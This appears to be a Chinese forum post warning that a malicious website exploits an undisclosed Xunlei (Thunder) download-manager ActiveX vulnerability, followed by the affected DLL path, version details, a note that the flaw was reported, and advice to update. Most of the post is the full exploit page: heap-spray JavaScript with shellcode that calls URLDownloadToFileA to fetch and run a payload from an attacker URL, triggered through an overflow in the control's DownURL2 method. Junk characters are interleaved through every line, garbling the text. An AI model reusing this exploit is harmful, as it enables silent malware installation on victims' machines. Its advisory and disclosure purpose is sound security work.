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根据恶意网址检测的线报,发现一恶意网址使用未公开的迅雷50-Day漏洞进行挂马,其EXP代码如下:
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7 m" |/ J% l# n9 w% }: |/ F: _<html>: V' c6 r1 S! ?9 q; L* x
<head>
' P8 ^' T0 Q2 B9 P8 H, a<meta http-equiv="Content-Type" c >$ j/ C, l+ |+ L& N B
<title></title>
' m: l5 j: `2 P; Q</head><body>
" d4 G: v' v; T3 [) { b8 R+ r<html>5 o5 m6 W, O$ a V+ A9 T
<object classid="clsid:EEDD6FF9-13DE-496B-9A1C-D78B3215E266" id='target'></object>
. N- u! J" J7 M<script language="javascript">) {6 P( R) w+ [& t5 R! p
var she132132132132llc13ode = unescape("%u9090"+"%u9090"+
2 S0 u& I ]: p4 }3 R"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +
! U1 F1 s1 J% I9 g8 f; k8 F# @"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +* H+ ~) U; j$ q. O- ^
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
6 k1 }9 P+ ]; r' A# j" W4 F0 c"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +) A' x' g* g' |1 s3 Z
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
* d; z7 o- Y' g0 w' O2 j/ Z"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
4 t( o, a" q8 t' r6 E6 {' O( M- G4 o) n"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +; K6 }6 T: O2 V) T4 B0 I
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
1 S/ A/ {) p2 k( ^& l" E' ?"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
3 c7 h2 t2 V3 p- r( ~0 ?2 |* e"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
. w2 O' H" I: r, ?3 H& n9 @$ x"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +& x' d6 @* Q' L: N" e
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +# U7 v, @/ B7 u$ C/ ^( }
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +3 r, x8 v% [7 ?& B, d
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
5 k$ K9 c! P7 b. m# ]& w& D"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
$ H" f* X: q0 O8 j8 o5 R"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +) K7 F! ^! k5 S) C& W
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +/ D* `+ y X! T1 v" r
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +! s* m# b) d8 r9 u# h
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
$ [4 g7 Y& T- E. z' f4 y"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +( m8 l# [3 \* e. N F) s0 m
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +4 W% g# {4 Y7 E {
"%u6946%u656c%u0041%u7468%u7074此处为需要下载病毒的网址%u0000");
2 b7 t2 \, N9 H- C! Z6 P0 e8 k</script>
5 x& k2 g1 g. \4 T<script language="javascript">
- P2 \1 O8 {) D- I, E/ c$ x" R8 bvar IsNop1236326312 = '';
$ i' `( I$ w) j% Y3 \7 @3 R8 K$ lvar bi3123g123665blo2131ck = unescape("%u9090%u9090");! N0 W# |- h( f2 Z
var IsNop1236326312 = '';- m9 m6 m6 N; l7 _$ V1 ~2 i- y
var he132132aders123132ize = 20;
+ c* O7 n; v4 o$ Q9 Fvar IsNop1236326312 = '';
, j! a5 Q3 B" v1 Q4 ^" Yvar sl21123112ack312231312space = he132132aders123132ize+she132132132132llc13ode.length;* e+ T5 J. i" D2 n0 D4 R
var IsNop1236326312 = '';
8 S! p/ ^) {& K6 x& u# @% L* }while (bi3123g123665blo2131ck.length<sl21123112ack312231312space) bi3123g123665blo2131ck+=bi3123g123665blo2131ck;1 a t% n4 T- o2 g0 R
fillblock = bi3123g123665blo2131ck.substring(0, sl21123112ack312231312space);/ h: {+ M' E, f/ |
block = bi3123g123665blo2131ck.substring(0, bi3123g123665blo2131ck.length-sl21123112ack312231312space);
! u( E$ ^( d$ I/ @while(block.length+sl21123112ack312231312space<0x40000) block = block+block+fillblock;
, I& U3 [/ _6 R5 w1 Pmemory = new Array();
$ B4 M4 J% f/ G/ `! `* G3 Jfor (x=0; x<300; x++) memory[x] = block + she132132132132llc13ode;( V7 H3 A) s1 E7 u3 ]- `& t
var b1u1231ff312er = '';
% h+ P; S$ Q: U1 Uvar IsNop1236326312 = '';4 H; q- C X. \6 R" w4 O/ d
var IsNop1236326312 = '';
Z9 f: h7 P7 kwhile (b1u1231ff312er.length < 4057) b1u1231ff312er+="\x0a\x0a\x0a\x0a";
6 [4 h4 \6 p) r/ l* M/ vb1u1231ff312er+="\x0a";
# N: y( N& ~# ?0 g7 O% B( m9 Rb1u1231ff312er+="\x0a";2 p0 J2 [! }3 h8 B+ V. q: f, D
b1u1231ff312er+="\x0a";. @( C% y) ]- @" k" _1 z- H
b1u1231ff312er+="\x0a\x0a\x0a\x0a";
& |7 I7 Y) x3 Y, {9 q. e0 v/ Nb1u1231ff312er+="\x0a\x0a\x0a\x0a"; * J* f& N* l, E
var yes="1111";
% F. e2 h7 f' j7 d! C, itarget.DownURL2(b1u1231ff312er,yes,yes,yes);
- v1 P) G0 A/ ?0 V* [% ivar IsNop1236326312 = '';
- k5 p' S- t1 u# K' }; N</script>
+ j c* A N; `' ]5 w</body></html>该代码风格颇相前段时间的《暴风影音IIActiveX栈溢出漏洞》,尾部为%u7468%u7074+此处为需要下载病毒的网址+%u0000"),但其CLSID为:EEDD6FF9-13DE-496B-9A1C-D78B3215E266
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: ~8 r/ k7 g# D3 i5 R( d v! G经验证,该ActiveX控件文件为:C:\Program Files\Thunder Network\Thunder\Components\DownAndPlay\DownAndPlay\DapPlayer1.0.0.41.dll
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我已经将该信息提交给迅雷官方,相信迅雷官方会尽快更新软件, 字串5 ; U9 h3 q, o2 ~1 M; F9 _9 x3 Q
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在此,网络巡警提醒大家,使用迅雷软件请尽量使用最新版本的,最新版本下载地址为:
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( I9 H& ^5 N+ R R- Chttp://pstatic.xunlei.com/about/product/down_xl5.htm
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# Y3 |* r* Z, `. J9 i- u. d a我会进一步关注此漏洞。 ; y0 m _- }8 C$ j
`% n0 E2 @8 @6 y9 D) a# e最近情况:
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) E5 y+ A" W& F$ `/ a从一些信息来看,含有此漏洞的迅雷版本号为Xunlei Web Thunder 5.6.9.344
7 J7 k5 N; ~6 |' R s% w新版的迅雷5.7.2.371 应该无此漏洞,请大家更新~
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9 m6 P2 j9 k6 M% h }5 y另外,该漏洞是一个叫做 7jdg 的人挖掘发现的(高手啊)。 |
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